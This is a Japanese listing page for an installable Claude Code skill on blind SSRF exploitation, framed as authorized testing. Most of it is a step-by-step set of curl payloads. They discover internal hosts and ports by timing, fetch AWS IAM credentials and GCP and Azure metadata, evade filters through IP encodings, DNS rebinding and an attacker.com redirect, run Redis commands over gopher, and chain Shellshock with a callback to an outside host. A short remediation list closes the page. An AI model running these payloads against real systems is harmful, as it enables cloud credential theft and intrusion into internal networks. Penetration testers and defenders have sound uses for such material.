mcpField
P
performing-blind-ssrf-exploitation

performing-blind-ssrf-exploitation

github.com/mukul975セキュリティ35.2k155 回インストール8 週間前に更新
リポジトリ

performing-blind-ssrf-exploitation について

認可済みのブラインド SSRF 評価向けスキルです。帯域外コールバックによる確認や、内部ネットワークとクラウドメタデータへのアクセスリスクを扱い、URL 入力、Webhook、ファイル処理機能のテスト例を示します。

主な機能

  1. 01SSRF を起こし得る入力箇所の特定
  2. 02帯域外コールバックによるブラインド SSRF の確認
  3. 03応答時間差による内部ホストの調査
  4. 04クラウドメタデータへのアクセスリスク評価
  5. 05フィルター回避とデータ流出の解説

活用シーン

  1. 01Webhook 機能の URL 検証テスト
  2. 02プレビュー・インポート機能のリクエストリスク評価
  3. 03PDF・画像処理機能の SSRF 確認
  4. 04クラウドメタデータエンドポイントの露出評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-blind-ssrf-exploitation

インストール後、Claude Code で/performing-blind-ssrf-exploitationを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
references/
api-reference.md
scripts/
agent.py

詳細

ブラインド SSRF の悪用

使用する場面

  • サーバー側の応答が反映されない URL/Webhook 入力パラメーターをテストするとき
  • 外部リソース(アバター、プレビュー、インポート)を取得するアプリケーションを評価するとき
  • PDF 生成ツール、画像処理ツール、ドキュメント変換ツールで SSRF をテストするとき
  • メタデータエンドポイントへのアクセスを検出するために、クラウドセキュリティ評価を実施するとき
  • Webhook 機能と URL 検証の実装を評価するとき

前提条件

  • OOB 検出用の Burp Collaborator を備えた Burp Suite Professional
  • 外部コールバックの監視に使う interact.sh または webhook.site
  • SSRF 攻撃ベクトルと内部ネットワークの列挙に関する理解
  • クラウドメタデータエンドポイント(AWS、GCP、Azure)に関する知識
  • 高度な悪用時のコールバック処理に使う VPS または管理下のサーバー
  • 自動化スクリプト用の requests ライブラリを備えた Python

ワークフロー

ステップ 1 — ブラインド SSRF の入力箇所を特定する
# Common SSRF-susceptible parameters:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=

# Test URL fetch functionality
curl -X POST http://target.com/api/fetch-url \
  -H "Content-Type: application/json" \
  -d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'

# Test webhook configuration
curl -X POST http://target.com/api/webhooks \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'

# Test image/avatar URL
curl -X POST http://target.com/api/profile/avatar \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'

# Test document import
curl -X POST http://target.com/api/import \
  -H "Content-Type: application/json" \
  -d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'
ステップ 2 — OOB 検出でブラインド SSRF を確認する
# Use Burp Collaborator for DNS + HTTP callbacks
# Generate collaborator payload: xxxxxx.oastify.com

# DNS-based detection (works even with HTTP blocked)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# Check Collaborator for DNS lookups

# HTTP-based detection
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# Check for HTTP requests in Collaborator

# interact.sh alternative
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://RANDOM.interact.sh"}'
# Monitor interact.sh dashboard for interactions
ステップ 3 — 内部ネットワークを列挙する
# Scan internal IP ranges via blind SSRF
# Use timing differences to determine if hosts are alive

# Scan common internal ranges
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
  start=$(date +%s%N)
  curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
  end=$(date +%s%N)
  elapsed=$(( (end - start) / 1000000 ))
  echo "$ip: ${elapsed}ms"
done

# Port scanning via blind SSRF
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
  curl -X POST http://target.com/api/fetch \
    -d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
  echo "Port $port tested"
done

# Use gopher:// for more advanced internal service interaction
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_INFO"}'
ステップ 4 — クラウドメタデータエンドポイントにアクセスする
# AWS metadata (IMDSv1)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

# AWS IAM credentials
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'

# Azure metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'

# DNS rebinding for metadata access (bypass IP blocking)
# Use services like rebinder.net to create DNS rebinding domains
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'
ステップ 5 — SSRF フィルターを回避する
# IP representation bypass
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}'       # Hex
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}'         # Decimal
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}'         # Octal
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}'              # Short
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}'              # IPv6

# URL parsing confusion
curl -X POST http://target.com/api/fetch -d '{"url": "http://[email protected]/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'

# Redirect-based bypass
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'

# DNS rebinding
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'
ステップ 6 — ブラインド SSRF をデータ窃取へと発展させる
# Exfiltrate data via DNS (when only DNS callback works)
# If you achieve SSRF to a service that reflects data:
# Chain: SSRF -> internal service -> DNS exfiltration

# Use gopher protocol for Redis command execution
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'

# Chain blind SSRF with Shellshock on internal hosts
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
# With User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"

# Exploit internal services via SSRF
# Redis: write SSH key
# Memcached: inject serialized objects
# Elasticsearch: read indices
# Internal API: access authenticated endpoints

主な概念

概念説明
ブラインド SSRFサーバーがリクエストを送信するものの、その応答が攻撃者に見えない状態
OOB 検出SSRF の実行を確認するために、外部コールバック(DNS、HTTP)を利用すること
DNS リバインディングDNS の名前解決先を変更し、IP ベースの SSRF フィルターを回避する手法
クラウドメタデータSSRF 経由でアクセス可能なインスタンスメタデータエンドポイント。認証情報の窃取に利用されます
Gopher プロトコル内部 TCP サービスとやり取りするためのペイロードを作成できるプロトコル
時間ベースの検出応答時間の差を測定して SSRF の成功を検出すること
SSRF チェーンSSRF を他の脆弱性と組み合わせて、影響を拡大すること

ツールとシステム

ツール用途
Burp CollaboratorDNS と HTTP のコールバックを検出するための OOB インタラクションサーバー
interact.shProjectDiscovery によるオープンソースの OOB インタラクションツール
SSRFmapSSRF の検出と悪用を自動化するフレームワーク
GopherusSSRF 経由で内部サービスを悪用するための Gopher ペイロードを生成
webhook.siteSSRF コールバックのテストに使える無料の Webhook 受信サービス
rebinder.netSSRF の IP フィルターを回避するための DNS リバインディングサービス

よくあるシナリオ

  1. クラウド認証情報の窃取 — ブラインド SSRF を悪用して AWS/GCP/Azure のメタデータエンドポイントにアクセスし、IAM 認証情報を窃取してクラウドアカウントを侵害する
  2. 内部サービスの探索 — 時間ベースのブラインド SSRF を使って、内部ネットワークのホストと開いているポートを列挙する
  3. Redis の悪用 — ブラインド SSRF と gopher:// プロトコルを組み合わせ、内部の Redis インスタンスでコマンドを実行する
  4. Webhook の悪用 — Webhook の URL フィールドを悪用し、内部ネットワークをスキャンして OOB チャネル経由でデータを窃取する
  5. PDF 生成ツールの SSRF — PDF 生成機能に内部 URL を注入し、レンダリングされたドキュメントに含めて内部コンテンツを窃取する

出力形式

## Blind SSRF Assessment Report
- **Target**: http://target.com/api/fetch-url
- **Detection Method**: Burp Collaborator DNS + HTTP callback
- **Internal Access Confirmed**: Yes

### Findings
| # | Input Point | Payload | Detection | Impact |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url parameter | http://collaborator | HTTP callback | Confirmed SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | Timing (2.3s vs 0.1s) | Cloud metadata |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis write confirmed | RCE potential |

### Internal Network Map
| Host | Port | Service | Accessible |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | Yes |
| 10.0.0.10 | 9200 | Elasticsearch | Yes |
| 169.254.169.254 | 80 | AWS Metadata | Yes |

### Remediation
- Implement allowlist of permitted external domains for URL fetching
- Block requests to private IP ranges and cloud metadata endpoints
- Use IMDSv2 (token-required) for AWS instance metadata
- Disable unused URL schemes (gopher, file, dict)
- Implement network-level segmentation for application servers

コメント